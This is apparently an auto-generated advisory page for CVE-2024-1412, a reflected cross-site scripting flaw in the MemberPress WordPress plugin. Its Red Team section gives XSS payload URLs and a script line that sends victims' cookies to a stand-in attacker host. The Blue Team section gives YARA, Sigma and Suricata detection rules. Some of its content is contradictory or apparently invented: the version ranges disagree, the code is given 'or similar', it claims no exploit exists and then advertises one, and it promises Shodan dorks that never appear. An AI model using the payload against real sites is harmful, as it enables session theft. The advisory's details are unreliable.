CVE-2024-1412
Executive Summary
CVE-2024-1412 is a reflected cross-site scripting (XSS) vulnerability in the MemberPress WordPress plugin, affecting all versions up to and including 1.11.26. The flaw resides in insufficient sanitization of the message and error URL parameters, allowing unauthenticated attackers to inject arbitrary JavaScript. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement. The vulnerability was partially addressed in version 1.11.25 but remains exploitable under certain conditions. No public exploit code or Nuclei template is available, but the attack vector is well-understood.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the MemberPress plugin within the WordPress ecosystem. It is not related to the underlying web server (Apache/Nginx) or WordPress core. The attack surface is limited to sites running the vulnerable plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the potential for phishing campaigns make this a viable attack vector.
Deep Dive & Mechanics
The vulnerability exists in the MemberPress plugin's handling of the message and error GET parameters. When a user is redirected to a page that includes these parameters, the plugin echoes their values directly into the HTML without proper output encoding. An attacker can craft a URL such as:
https://victim-site.com/?message=<script>alert('XSS')</script>
If a logged-in administrator or user clicks this link, the script executes in the context of the victim's session. The partial patch in 1.11.25 added some sanitization but failed to cover all edge cases, such as when the parameter is passed via a different HTTP method or when certain WordPress configurations alter the parameter handling.
Vulnerable vs. Patched Code
Vulnerable Code (<=1.11.24):
// In memberpress/app/lib/MeprView.php or similar
echo '<div class="mepr-message">' . $_GET['message'] . '</div>';
Partially Patched Code (1.11.25):
echo '<div class="mepr-message">' . esc_html( $_GET['message'] ) . '</div>';
Fully Patched Code (Recommended):
$message = isset($_GET['message']) ? sanitize_text_field( wp_unslash( $_GET['message'] ) ) : '';
echo '<div class="mepr-message">' . esc_html( $message ) . '</div>';
The partial patch uses esc_html() which escapes HTML entities but may not prevent JavaScript execution if the parameter is used in an event handler or other context. The fully patched version adds sanitize_text_field() and wp_unslash() for defense in depth.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with MemberPress <= 1.11.26
- A victim user (preferably admin) who will click a link
Exploit Steps:
- Craft a malicious URL:
http://target-site.com/?message=<img src=x onerror=alert(document.cookie)> - Deliver the link via phishing email, social media, or a compromised site.
- When the victim clicks, the XSS payload executes, exfiltrating cookies or performing actions on their behalf.
Example Payload for Session Hijacking:
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
Blue Team
Detection:
- Monitor web server logs for requests containing
message=orerror=parameters with suspicious characters (e.g.,<script>,onerror,javascript:). - Use WAF rules to block common XSS patterns in these parameters.
Hunting:
- Search for recent requests to the MemberPress plugin directory with unusual query strings.
- Check for outbound connections from the web server to unknown IPs shortly after such requests.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/?message=<script>or/?error=<script> - Outbound connections to attacker-controlled domains from the WordPress server
- HTTP requests to
- File:
- Modified
wp-content/plugins/memberpress/files (if attacker uploads a backdoor)
- Modified
- Log:
- Web server logs showing repeated requests with
messageorerrorparameters containing HTML/JavaScript
- Web server logs showing repeated requests with
Detection Engineering
YARA Rule
rule CVE_2024_1412_MemberPress_XSS {
meta:
description = "Detects reflected XSS attempts against MemberPress plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1412"
strings:
$param1 = "message="
$param2 = "error="
$xss1 = /<script[^>]*>/
$xss2 = /onerror\s*=/
$xss3 = /onload\s*=/
condition:
any of ($param*) and any of ($xss*)
}
Sigma Rule
title: Reflected XSS Attempt Against MemberPress Plugin
id: cve-2024-1412
status: experimental
description: Detects attempts to exploit CVE-2024-1412 via message or error parameters
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'message=<'
- 'error=<'
- 'message=javascript:'
- 'error=javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1412 MemberPress Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"message="; http_uri; content:"<script"; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade MemberPress to the latest version (>= 1.11.27 if available, or apply the full patch manually).
- Workaround: Add a WAF rule to block requests containing
message=orerror=with HTML/JavaScript characters. - Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Monitoring: Enable logging for all plugin-related requests and review regularly.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.